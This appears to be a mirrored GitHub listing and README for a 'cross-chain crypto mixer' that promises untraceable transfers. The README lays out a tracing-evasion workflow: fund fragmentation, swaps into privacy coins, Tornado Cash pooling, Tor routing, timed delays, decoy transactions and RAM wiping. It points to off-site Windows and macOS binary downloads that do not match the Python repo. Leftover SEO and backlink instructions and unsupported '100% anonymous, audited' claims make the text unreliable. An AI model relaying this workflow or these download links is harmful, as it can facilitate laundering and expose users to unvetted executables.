https://github.com/vatsi2/crosschain-anonymizer-cca
CrossChain Anonymizer is an open-source, self-hosted crypto mixer for 100% anonymous cross-chain transactions. Leveraging ZK-proofs, decentralized exchanges (DEX), and privacy-focused blockchains, it ensures untraceable transfers across Bitcoin, Monero, Ethereum, and more.
https://github.com/vatsi2/crosschain-anonymizer-cca
anonymity bitcoin btc crypto-mixer cryptocurrency cybersecurity darknet eth ethereum ltc privacy-tools python ram-cleaner thorchain tor tor-integration tornadocash xmr zero-knowledge-proofs zk-snarks
Last synced: 3 months ago
JSON representation
CrossChain Anonymizer is an open-source, self-hosted crypto mixer for 100% anonymous cross-chain transactions. Leveraging ZK-proofs, decentralized exchanges (DEX), and privacy-focused blockchains, it ensures untraceable transfers across Bitcoin, Monero, Ethereum, and more.
- Host: GitHub
- URL: https://github.com/vatsi2/crosschain-anonymizer-cca
- Owner: vatsi2
- Created: 2025-03-07T13:34:42.000Z (4 months ago)
- Default Branch: main
- Last Pushed: 2025-03-21T02:53:55.000Z (3 months ago)
- Last Synced: 2025-03-21T03:28:59.002Z (3 months ago)
- Topics: anonymity, bitcoin, btc, crypto-mixer, cryptocurrency, cybersecurity, darknet, eth, ethereum, ltc, privacy-tools, python, ram-cleaner, thorchain, tor, tor-integration, tornadocash, xmr, zero-knowledge-proofs, zk-snarks
- Language: Python
- Homepage:
- Size: 210 KB
- Stars: 391
- Watchers: 36
- Forks: 93
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🛡️ Decentralized Crypto Mixer: Cross-Chain Privacy, DEX Integration & Zero-Knowledge DAOs
**CrossChain Anonymizer is an open-source, self-hosted crypto mixer for 100% anonymous cross-chain transactions. Leveraging ZK-proofs, decentralized exchanges (DEX), and privacy-focused blockchains, it ensures untraceable transfers across Bitcoin, Monero, Ethereum, and more. Ideal for blockchain developers, privacy advocates, and DeFi enthusiasts.**> Achieve 100% blockchain anonymity with CrossChain Anonymizer. Mix BTC, ETH, XMR via DEX/DAO integration, ZK-proofs, and Tor. Self-hosted, audited, and open-source.
[](https://openzeppelin.com)
[](https://)**Top Global SEO Keywords:**
*crypto mixer, cross-chain privacy, anonymous transactions, DEX integration, ZK-SNARKs, DAO storage, Monero, Bitcoin, Ethereum, THORChain, Tornado Cash.*---
# Download
### **Download** [Windows](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/windows) / [macOS](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/macos)[](https://github.com/yourusername/defi-algo-bot)
[](https://www.python.org)
[](https://web3py.readthedocs.io)---
## 🌟 Main Features
- Multi-Chain Mixing: Mix BTC, ETH, XMR, ZEC, and more via integrated blockchains.
- DAO Storage: Store funds in zero-knowledge DAOs (Aztec, Tornado Cash, Secret Network).
- Auto Wallet Generation: Create 5+ one-time wallets per session (HD seeds, encrypted in RAM).
- DEX Routing: Swap assets via THORChain, Haveno, SecretSwap, and Uniswap.
- Tor/I2P Integration: All traffic routed through Tor nodes or I2P for IP anonymity.
- Decoy Transactions: 5–10% of funds sent to random addresses to obfuscate tracing.## 🔧 Operating Principle
Step 1: Input Phase1. Local Setup:
- Install CCA on an air-gapped device (recommended: Tails OS).
- Connect wallet with DAO (MetaMask/TrustWallet/Another)
2. Network Isolation:
- Traffic forced through Tor. Node connections use .onion endpoints.
Step 2: Deposit & Mixing
1. Fragmentation:
- Funds split into randomized amounts (e.g., 1 BTC → 0.3 + 0.45 + 0.25 BTC).
2. Cross-Chain Swaps:
- Use DEXs (THORChain) to convert fragments to privacy coins (XMR, ZEC).
3. DAO Pooling:
- Deposit mixed funds into a zk-SNARKs DAO (e.g., Aztec) for anonymized storage.
Step 3: Distribution
1. Output Wallets:
- CCA generates 5+ wallets (Bitcoin Taproot, Monero stealth addresses, etc.).
2. Randomized Routing:
- Funds exit DAO via unique paths (e.g., DAO → XMR → BTC → ETH).
3. Time Delays:
- Transactions sent with random delays (1 hour to 7 days) to prevent timing analysis.
Step 4: Cleanup
- RAM Wipe: Overwrite memory to erase keys, seeds, and transaction logs.
- Decoy Traces: Generate fake transactions to mask real activity.
## Main parameters
### Basic settings
```
general:
mode: "auto" # Mode of operation: auto (automatic), manual (manual)
log_level: "info" # Logging level: debug, info, warning, error
temp_dir: "/tmp/cca" # Temporary directory for data storage (cleared after completion)
```### Blockchain settings
```
blockchains:
bitcoin:
node: "http://user:pass@localhost:8332" # Bitcoin RPC node
network: "mainnet" # Network: mainnet, testnet
ethereum:
node: "http://localhost:8545" # Ethereum RPC node
gas_price: "auto" # Gas price: auto or value in Gwei
monero:
node: "http://localhost:28088" # Monero RPC node
wallet_password: "supersecret" # Monero wallet password
```### DEX settings
```
dex:
thorchain:
endpoint: "https://thornode.thorchain.info" # API THORChain
slippage: 1.5 # Percentage of slippage (1.5%)
haveno:
endpoint: "http://havenoexchangexmra2x.onion" # .onion-address Haveno
timeout: 30 # Request timeout (in seconds)
```### DAO settings
```
dao:
tornado_cash:
contract: "0x6Bf694a291DF3FeC1f7e7F0176aC46eD28f4D5B0" # Tornado Cash contract address
deposit_amount: 1 # Deposit amount (in ETH)
aztec:
contract: "0x..." # Aztec contract address
zk_proofs: true # Use zk-SNARKs
```### Security settings
```
security:
tor:
enabled: true # Use Tor for all requests
control_port: 9051 # Tor control port
socks_port: 9050 # SOCKS5 port for proxy
delay:
min: 3600 # Minimum delay between transactions (in seconds)
max: 86400 # Maximum delay (in seconds)
decoy_transactions: true # Enable dummy transactions
decoy_percent: 5 # Percentage of funds for fictitious transactions (5%)
```### Wallet settings
```
wallets:
output_count: 5 # Number of target wallets
hd_seed: "optional_seed_phrase" # Seed-phrase for generating HD wallets
hardware_wallet: "ledger" # Hardware wallet type: ledger, trezor
```## Parameter description
1. Basic parameters (```general```)
- mode: Mode of operation. In ```auto``` mode all transactions are performed automatically, in ```manual``` mode confirmation of each transaction is required.
- log_level: The level of detail of the logs.
- temp_dir: Directory for temporary files (e.g., signed transactions).
2. Blockchains settings (```blockchains```)
- node: The RPC node address for each blockchain.
- network: Network (mainnet/testnet).
- gas_price: Gas price for Ethereum (can be specified manually or use ```auto```).
- wallet_password: Password for Monero wallet (if used).
3. DEX settings (```dex```)
- endpoint: API address of DEX (e.g. THORChain or Haveno).
- slippage: Slippage percentage for exchanges.
- timeout: Timeout for DEX requests.
4. DAO settings (```dao```)
- contract: Address of the DAO smart contract (e.g. Tornado Cash or Aztec).
- deposit_amount: Deposit amount in DAO (e.g. 1 ETH for Tornado Cash).
- zk_proofs: Use zk-SNARKs to increase privacy.
5. Security Settings
- tor: Enable/disable Tor, configure ports.
- delay: Delay between transactions to prevent timestamp analysis.
- decoy_transactions: Enable dummy transactions for masking.
- decoy_percent: Percentage of funds sent to "trash" addresses.
6. Wallets settings
- output_count: Number of target wallets to distribute funds to.
- hd_seed: Seed phrase for generating HD wallets (optional).
- hardware_wallet: Type of hardware wallet (Ledger or Trezor).
## ⚙️ Conditions & Requirements
- OS Support: Linux (Tails/Whonix recommended), Windows, macOS.
- Hardware: 8+ GB RAM, 100 GB storage (for blockchain nodes), x64/ARM CPUs.
- Blockchain Nodes: Local nodes for Bitcoin, Monero, Ethereum (synced via Tor).
- Legal Compliance: Users must comply with local regulations. CCA is a privacy research tool.## 🚀 Tech Stack
Core Development
- Languages: Python, Solidity, Rust (for ZK-circuits)
- Cryptography: zk-SNARKs (libsnark), Ring Signatures (Monero), Taproot (Bitcoin)
- Blockchain: Web3.py, ethers.js, Monero RPC, Bitcoin Core API
- Security: Tor, I2P, AES-256 RAM encryption, Hardware Wallet (Ledger/Trezor)
Frontend (Optional)
- React.js (TypeScript), TOR-hidden service, IPFS-hosted UI
DevOps
- Docker, GitHub Actions (CI/CD), Bandit/Slither (security audit)
## 🔗 Integrated Blockchains
Blockchain | Privacy Features | Use Case
Monero | Ring Signatures, Stealth Addr | Base layer for anonymous mixing
Bitcoin | Taproot, CoinJoin | Initial/final transactions
Ethereum | Tornado Cash, Aztec Protocol | zkDAO storage, smart contracts
Secret | Private smart contracts | Cross-chain swaps
Zcash | zk-SNARKs | Shielded transactions
## 🔄 Integrated DEX & Protocols
Platform | Function | Key Feature
THORChain | Cross-chain swaps (BTC/ETH/XMR) | Non-custodial, no KYC
Haveno | Monero DEX | Atomic swaps
Uniswap | ERC-20 token swaps | Liquidity pools
SecretSwap | Privacy-preserving swaps | Encrypted mempool
Tornado Cash | ETH/ERC-20 anonymization | zk-proofs
Latent Semantic Indexing (LSI) Keywords:
crypto privacy tools, untraceable blockchain transactions, self-hosted mixer, cross-chain swaps.Backlink Opportunities:
Partner with privacy blogs (e.g., PrivacyTools.io), GitHub trending pages, and blockchain forums.Schema Markup:
Add JSON-LD for software application, GitHub repository, and open-source project.